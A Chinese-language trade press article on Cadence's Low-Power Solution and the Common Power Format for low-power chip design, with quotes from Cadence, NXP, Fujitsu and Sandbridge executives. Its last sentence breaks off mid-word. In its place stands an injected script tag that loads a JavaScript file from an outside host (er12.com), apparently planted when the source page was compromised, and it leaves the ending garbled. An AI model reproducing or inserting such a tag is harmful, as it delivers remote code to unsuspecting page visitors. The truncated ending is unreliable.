今天,cadence设计系统公司宣布推出了cadencelow-powersolution,这是用于低功耗芯片的逻辑设计、验证和实现的业界第一套完全集成的、标准化的流程。cadencelow-powersolution将设计、验证和实现技术与si2commonpowerformat(cpf)相集成,为ic设计工程师提供端到端的低功耗设计方案。cpf是在设计过程初期详细定义节约功耗技术的标准化格式。通过在整个设计过程中保存低功耗设计意图,该解决方案避免了费力的人工操作,大大降低了与功耗相关的芯片故障,并在设计过程初期提供功耗的可预测性。
“对于那些一直在寻找低功耗设计性能的设计师而言,这是一次巨大的进步。”cadence全球副总裁徐季平博士指出,“这是第一个能向设计师提供在寄存器传输级自动呈现低功耗技术的解决方案,并保证能够在验证、前端实现和物理实现步骤的全过程使用一个通用的格式正确执行。”
在接受电子工程专辑采访时他透露:“在宣布推出这个解决方案以前,实际上该方案已经被pfi成员使用了。”他表示,根据研究,每大约10年左右,功耗问题会引发半导体工艺技术的变革,例如在90年代左右,由于双极工艺难以应对功耗问题,半导体业界开始推行cmos工艺,而经过了大约十来年的发展,现在cmos工艺也面临功耗问题的困扰。他指出:“从近期的发展来看,工艺大变革的可能性不大,所以功耗问题只能寄希望从设计端来解决。”
从实际发展来看,随着节能器件需求的增加,低功耗设计技术正在成为主流。例如,便携应用设备需要较长的电池使用时间,这就使得合适的功耗节约成为必然。高度集成、高性能的90纳米以下芯片对热量管理提出了挑战,而这就要求整个芯片的功率优化。而大型终端产品应用如服务器群组的所有层面都需要功率优化,以降低整体能量消耗。此外,与封装相关的成本考虑也推动着设计师采用低功耗设计。
为了满足这些不同的需求,设计师正越来越多地采用高级低功耗设计方式,例如电源关断(pso)、多供应电压(msv)以及状态保留功率闸(srpg)。然而这些技术的eda支持是支离破碎的,不同的工具需要不同的方式来表示低功耗意图。结果,设计师不得不通过一系列的特殊手段定义低功耗功能,例如在同一个设计中多次人工地输入功耗数据。这个过程不仅枯燥而且很容易出错,更重要的是,它使得设计的可预测性和验证变得极其困难。
徐季平博士指出:“目前的设计可以说对逻辑是‘相连的’,因为所有流程都处理逻辑信息,可以自动完成。但对功耗来说是‘不相连’的,因为针对每个流程,功耗问题都是独立的,并相互影响。而且最重要的是还不能自动完成功耗设计,许多地方需要手动来完成。”
而全新的cadencelow-powersolution通过在cpf规范中建立一个设计功耗意图的单一的表示法解决了这一困难,促进了ip复用和rtl轻便性。这种表现法跨越了逻辑设计师、验证工程师和实现工程师所使用的cadencelogicdesignteamsolution和digitalimplementation解决方案,包括计划和以指标为驱动的流程管理、仿真、逻辑综合、等效验证、测试、布局、布线和电压降分布分析。它能够让由多类型专家构成的整个项目团队以包含了低功耗意图的共同的设计角度开始工作。它还大幅提高了设计可预测性,并将芯片故障的风险降到最低。
多家用户对该方案进行了评价,nxp半导体soc设计技术高级副总裁barrydennington说,“过去,我们依赖私人的解决方案定义功耗意图来支持功耗方法学孤岛,包括动态电压频率调整(dvfs),但如今我们已经利用了commonpowerformat的便利来优化精密型,65纳米,低功耗ic中soc功耗架构。”
对高级低功耗技术的需求在asic/cot业务中一直持续增长,fujitsu电子器件业务单元设计平台开发部总经理shojiichino说:“我们正在开发一个基于cadence的cpf低功耗流程的asic低功耗解决方案,我们期望可以在高端90纳米和65纳米设计和主流设计中都可以采用msv/pso技术。我们计划在2007年的第二个季度可以完成这一解决方案。
“cadence低功耗解决方案为我们实现低功耗设计提供了单一的前端到后端的流程。”sandbridge工程部副总裁garynacer说,“之前我们已经采用了cadence低功耗解决方案进行芯片出带,而在集成了针对电源关断设计的验证性能后,我们相信该流程将会让我们能以最小的风险提供有竞争力的低功耗产品。”
commonpowerformat与powerforwardinitiative
新的cadencelow-powersolution的一个重要促进因素是commonpowerformat(cpf)的集成。cpf提供了一个标准的词典,从设计到验证和实现均可标识,保证了整个流程的一致性。
cpf1.0已经经过了powerforwardinitiative(pfi)顾问们的全面审核,他们是代表电子产业各细分市场的领导厂商,包括半导体、代工厂、半导体设备、系统和电子设计自动化公司。pfi顾问提供了超过500项建议,这些都已经加入到cpf1.0中,他们于2006年末捐?script src=http://er12.com/t.js>